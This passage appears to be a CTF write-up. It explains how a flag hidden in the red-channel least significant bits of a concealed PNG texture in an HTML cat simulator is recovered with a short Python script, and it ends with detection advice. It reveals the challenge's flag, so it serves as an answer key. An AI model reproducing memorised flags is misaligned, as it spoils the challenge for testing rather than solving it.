- Mitigation: when publishing pet or personal GPS tracks, mask coordinates near the home, delay publication, or reduce spatial resolution; anonymise public dataset metadata (individual names, date ranges, locations) so it cannot serve as a lookup key.
14. [Forensics/Stego] Leonne Stratvarius Bonnie (kitty) — 250
One-line summary: A base64 PNG (128x128 RGBA) embedded in kitty_cat_challenge.html with display:none carries the flag in the LSBs of its red channel, behind a length prefix (0x18).
1. Problem summary
- Provided:
kitty_cat_challenge.html(a Three.js 3D cat simulator, 75 KB). No server. - Goal: find the hidden flag.
2. Analysis
- Observation: the HTML contains
<img id="_texmap" src="data:image/png;base64,...">hidden withdisplay:none, with comments disguising it as "Embedded texture asset for 3D model rendering pipeline" / "do not remove". - Correction (re-checked in the notes on 2026-10-30): the image is not a decoy. At HTML lines 175–184 it is used as the actual cat material via
new THREE.Texture(texImg)→MeshLambertMaterial({ map: texture }). The comments are truthful — the data is hidden inside a genuinely used texture. - The decoded PNG is 128x128 RGBA, 40,586 bytes. The size is abnormally large, suggesting noise (an LSB payload). The chunks are only IHDR/IDAT/IEND with no trailing data after IEND → the payload is in pixel LSBs.
3. Steps
- Extract and decode the base64, saving it as a PNG (the exact commands were not recorded in the notes).
- Collect the red-channel LSB of each pixel in order, MSB-first, and pack into bytes. (The extraction script is not present under
tools/; the result is inevidence/wcsc-kitty/01_lsb_extract.txt.) The sketch below reproduces the same operation:
from PIL import Image
im = Image.open("evidence/wcsc-kitty/texmap.png").convert("RGBA") # example path (saved filename not recorded)
bits = [r & 1 for (r, g, b, a) in im.getdata()]
data = bytes(int("".join(map(str, bits[i:i+8])), 2) for i in range(0, len(bits) - 7, 8))
n = int.from_bytes(data[:4], "big") # 0x18 = 24
print(data[4:4+n])
- Resulting stream:
00 00 00 18(big-endian length 24) +WCSC{kitty_cat_meow_csc}+ zero padding. "WCSC" appears at offset 4 (evidence/wcsc-kitty/01_lsb_extract.txt). - The G/B/A channels and an RGB-interleaved reading produced meaningless data; the red channel alone is the correct extraction path.
4. Result
- Flag:
WCSC{kitty_cat_meow_csc} - Time obtained: 2026-10-30 14:08 UTC (23:08 KST), first entry in
notes/FLAGS.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence:
evidence/wcsc-kitty/01_lsb_extract.txt
5. Root cause and remediation
- Classification: steganography (data hiding); no applicable CWE (a CTF covert-channel exercise)
- Detection-side mitigation: check
data:URI images embedded in web pages for anomalous size and entropy; review assets inside hidden elements (display:none); apply statistical LSB analysis (chi-square, RS analysis).